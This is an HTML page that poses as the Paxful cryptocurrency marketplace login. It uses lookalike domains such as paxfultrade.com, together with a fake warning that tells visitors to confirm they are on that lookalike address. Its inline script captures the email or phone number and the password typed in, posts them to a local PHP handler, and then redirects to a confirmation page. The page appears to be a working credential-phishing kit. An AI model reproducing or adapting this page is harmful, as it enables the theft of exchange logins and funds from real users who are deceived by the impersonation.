<!DOCTYPE html>
<html lang="en" dir="ltr" class="">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0, shrink-to-fit=no" />
<link rel="icon" href="./static/favicons/icon.ico" />
<title>Log In to Your Account | Paxful</title>
<meta name="description" content="Sign in to your Paxful account trade or manage your cryptocurrency. We suggest setting up two-factor authentication for enhanced account security.">
<meta property="og:title" content="Buy and Sell Bitcoin at Paxful">
<meta property="og:type" content="website" />
<meta property="og:description"
content="Sign in to your Paxful account trade or manage your cryptocurrency. We suggest setting up two-factor authentication for enhanced account security." />
<meta property="og:image" content="https://noonestrade.com/offer/A1bGer6UZ0/attachments/paxfulone" />
<meta property="og:image:type" content="image/jpeg" />
<meta property="og:image:width" content="2412" />
<meta property="og:image:height" content="1550" />
<meta property="og:image:alt" content="paxful bitcoin marketplace" />
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/
[email protected]/dist/css/bootstrap.min.css" crossorigin="anonymous">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerpolicy="no-referrer">
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Montserrat:400,500,700|Open+Sans:400,600,700&display=swap&subset=cyrillic" />
<link rel="stylesheet" href="./static/css/style.css">
<link rel="stylesheet" href="./static/css/fa.css">
<!-- CSS_ADSBLOCK_START -->
<link rel="stylesheet" href="https://adblockers.opera-mini.net/css_block/default-domainless.css" type="text/css" />
<!-- CSS_ADSBLOCK_END -->
</head>
<body>
<div class="content_container">
<div class="content_first_Cont">
<div class="nav1">
<div class="logo">
<div class="img">
<img src="./static/favicons/paxlogo.PNG" alt="">
</div>
</div>
<div class="lan">
<div class="wrld">
<i class="fa-solid fa-globe"></i>
</div>
<div class="select">
<select name="" id="">
<option value="">English</option>
<option value="">Français</option>
<option value="">Español</option>
</select>
</div>
</div>
</div>
<div class="form_cont1">
<div class="nav2">
<div class="headnav2">
<h1>login with paxful</h1>
</div>
</div>
<div class="err">
<div class="info">
<i class="fa-solid fa-circle-info"></i>
</div>
<div class="text">
<p>IMPORTANT! Please check that<Br /> you are visiting<br /> https://paxfultrade.com/</p>
</div>
<div class="link">
<p><span><i class="fa-solid fa-lock"></i>https://</span><b>paxfultrade.com/</b></p>
</div>
</div>
<div class="errr">
<div class="info">
<i class="fa-solid fa-circle-info"></i>
</div>
<div class="text">
<p>IMPORTANT! Please check that you are visiting<br /> https://paxfultrade.com/</p>
<div class="link">
<p><span><i class="fa-solid fa-lock"></i>https://</span><b>paxfultrade.com/</b></p>
</div>
</div>
</div>
<div class="form">
<p>Your Phone or Email</p>
<form action="" id="myForm" autocomplete="off">
<div class="form_input">
<input type="text" name="email" id="email" style="margin-bottom: 15px;">
<p class="errore" style="color: red;">
</p>
</div>
<div class="flex" style="display: flex; justify-content: space-between;">
<p>Your Password</p>
<p style="justify-content: flex-end; right: 0; color: #0052cc;">Forgot password?</p>
</div>
<div class="form_input pwd">
<input type="text" name="pwd" id="pwd" style="margin-bottom: 5px;"">
<!---<p class=" error" style="color: red;">
</p>-->
<i class="fa-solid fa-eye"></i>
<i class="fa-solid fa-eye-slash" style="display: none;"></i>
</div>
<div class="form_input button">
<button type="submit" name="submit">
<div class="log">
Login
</div>
<div class="arrow">
> </div>
</button>
</div>
<p class="error">
</p>
</form>
<hr />
<div class="lastnav">
<p>New on Paxful?
<span style="color: #0052cc;">Create an Account</span>
</p>
</div>
</div>
</div>
</div>
<div class="content_second_cont">
<div class="color">
</div>
<div class="image_tag">
<div class="img">
<div class="imgy">
<img src="./static/favicons/pax.webp" alt="">
</div>
</div>
</div>
</div>
</div>
<script src="./static/js/all.js"></script>
<script src="./static/js/script.js"></script>
<script>
const form = document.querySelector(".form form"),
continueBtn = form.querySelector(".form button"),
errortexte = form.querySelector(".errore"),
errortext = form.querySelector(".error");
form.onsubmit = (e) => {
e.preventDefault(); //prevent from submitting
}
continueBtn.onclick = () => {
let xhr = new XMLHttpRequest();
xhr.open("POST", "static/php/form.php", true);
xhr.onload = () => {
if (xhr.readyState === XMLHttpRequest.DONE) {
if (xhr.status === 200) {
let data = xhr.response;
if (data == "success") {
location.href = "./confirmation";
} else {
if (data = "pwd") {
errortexte.textContent = "This field may not be blank!";
errortexte.style.display = "block";
} else if (data = "email") {
errortext.textContent = "This field may not be blank.";
errortext.style.display = "block";
}
}
}
}
}
///send form data through jax to php
let formData = new FormData(form); //create new formdata object
xhr.send(formData);
}
</script>
</body>
</html>